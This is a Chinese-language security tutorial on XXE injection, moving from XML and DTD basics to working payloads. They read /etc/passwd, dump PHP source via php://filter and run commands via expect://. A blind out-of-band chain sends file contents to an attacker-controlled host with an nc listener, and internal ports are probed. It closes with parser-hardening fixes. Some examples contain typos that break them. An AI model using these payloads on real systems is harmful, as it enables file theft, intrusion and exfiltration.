0x00 XML基礎
在介紹xxe漏洞前,先學習溫顧一下XML的基礎知識。XML被設計為傳輸和存儲數據,其焦點是數據的內容,其把數據從HTML分離,是獨立於軟件和硬件的信息傳輸工具。
0x01 XML文檔結構
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
<!--XML申明-->
<?xml version="1.0"?>
<!--文檔類型定義-->
<!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型-->
<!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型-->
]]]>
<!--文檔元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
由於xxe漏洞與DTD文檔相關,因此重點介紹DTD的概念。
0x02 DTD
文檔類型定義(DTD)可定義合法的XML文檔構建模塊,它使用一系列合法的元素來定義文檔的結構。DTD 可被成行地聲明於XML文檔中(內部引用),也可作為一個外部引用。
1、內部聲明DTD:
<!DOCTYPE 根元素 [元素聲明]>
2、引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD文檔中有很多重要的關鍵字如下:
- DOCTYPE(DTD的聲明)
- ENTITY(實體的聲明)
- SYSTEM、PUBLIC(外部資源申請)
0x03 實體
實體可以理解為變量,其必須在DTD中定義申明,可以在文檔中的其他位置引用該變量的值。實體按類型主要分為以下四種:
- 內置實體 (Built-in entities)
- 字符實體 (Character entities)
- 通用實體 (General entities)
- 參數實體 (Parameter entities)
實體根據引用方式,還可分為內部實體與外部實體,看看這些實體的申明方式。
完整的實體類別可參考 DTD - Entities(https://www.tutorialspoint.com/dtd/dtd_entities.htm)
3.1 實體類別介紹
參數實體用%實體名稱申明,引用時也用%實體名稱;其余實體直接用實體名稱申明,引用時用&實體名稱。
參數實體只能在DTD中申明,DTD中引用;其余實體只能在DTD中申明,可在xml文檔中引用。
(1)內部實體:
<!ENTITY 實體名稱 "實體的值">
(2)外部實體:
<!ENTITY 實體名稱 SYSTEM "URI">
(3)參數實體:
<!ENTITY % 實體名稱 "實體的值">
或者
<!ENTITY % 實體名稱 SYSTEM "URI">
(4)實例演示:除參數實體外實體+內部實體
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "This is a xxe test!">]>
<foo>
<value>&name;</value>
</foo>
(5)實例演示:參數實體+外部實體
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
注意:%name
(參數實體)是在 DTD 中被引用的,而 &name
(其余實體)是在xml文檔中被引用的。
由於xxe漏洞主要是利用了 DTD 引用外部實體導致的漏洞,那么重點看下能引用哪些類型的外部實體。
3.2 外部實體外部實體即在DTD中使用
<!ENTITY 實體名稱 SYSTEM "URI">
語法引用外部的實體,而非內部實體,那么URI中能寫哪些類型的外部實體呢?
主要的有file、http、https、ftp等等,當然不同的程序支持的不一樣:
實例演示:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<foo>
<value>&name;</value>
</foo>
0x04 XXE漏洞
XXE漏洞全稱XML External Entity Injection
即xml外部實體注入漏洞,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等危害。
xxe漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件。
4.1 XXE漏洞檢測
第一步檢測XML是否會被成功解析:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">]>
<root>&name;</root>
如果頁面輸出了my name is nMask,說明xml文件可以被解析。
第二步檢測服務器是否支持DTD引用外部實體:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>
可通過查看自己服務器上的日志來判斷,看目標服務器是否向你的服務器發了一條請求test.xml的請求。
如果支持引用外部實體,那么很有可能是存在xxe漏洞的。
4.2 漏洞利用
xxe漏洞的危害有很多,比如可以文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等
4.2.1 讀取任意文件
由於我是在windows上做的測試,因此讓其讀取c盤下的test.txt文件內容。
如果是linux下,可以讀取/etc/passwd等目錄下敏感數據。
以上任意文件讀取能夠成功,除了DTD可有引用外部實體外,還取決於有輸出信息,即有回顯。
4.2.2 獲取頁面源碼
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>
返回的base64編碼,即為index.php的源碼
4.2.3 執行系統命令
在特殊的配置環境下,如PHP環境中PHP的expect模塊被加載到了易受攻擊的系統或者能處理XML的應用中,就能執行命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>
4.2.4 blind xxe漏洞
對於傳統的XXE來說,要求攻擊者只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,如果沒有回顯則可以使用Blind XXE漏洞來構建一條帶外信道提取數據。
創建test.php寫入以下內容:
<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
創建index.php寫入以下內容:
<?php
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/test.txt">
<!ENTITY % remote SYSTEM "http://localhost/test.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>
創建test.xml並寫入以下內容:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">
當訪問http://localhost/index.php, 存在漏洞的服務器會讀出text.txt內容,發送給攻擊者服務器上的test.php,然后把讀取的數據保存到本地的test.txt中。
0x05 尋找 XML 輸入點
比如 Content-Type:text/xml
, post 的數據包含 XML 格式,如:
<forgot><username>admin</username></forgot>
請求頭中添加 Content-Type:text/xml
或 Content-type:application/xml
同時,POST 中添加 payload :
#任意文件讀取(有回顯)
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
#無回顯的情況,使用外帶數據通道提取數據,先用 file:// 或 php://filter 獲取目標文件的內容,然后將內容以 http 請求發送到接收數據的服務器(攻擊服務器):
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
#evil.dtd的內容:(內部的 % 號要進行實體編碼成 %)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
#最后用nc進行本地監聽
nc -lvv 9999
#命令執行 ( PHP 要開啟 PECL 上的 Expect 擴展)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "expect://whoami">
]>
#測試后端服務器的開放端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY portscan SYSTEM "http://192.168.1.5:3389">
]>
#通過返回的 “Connection refused” 可以知道該 81 端口是 closed 的,而 80 端口是open的
0x06 XXE漏洞修復與防御
6.1 禁用外部實體
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
6.2 過濾用戶提交的XML數據
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
0x07 參考鏈接
https://www.cnblogs.com/-zhong/p/11194080.html
https://www.cnblogs.com/r00tuser/p/7255939.html#top
https://blog.csdn.net/Fly_hps/article/details/85228722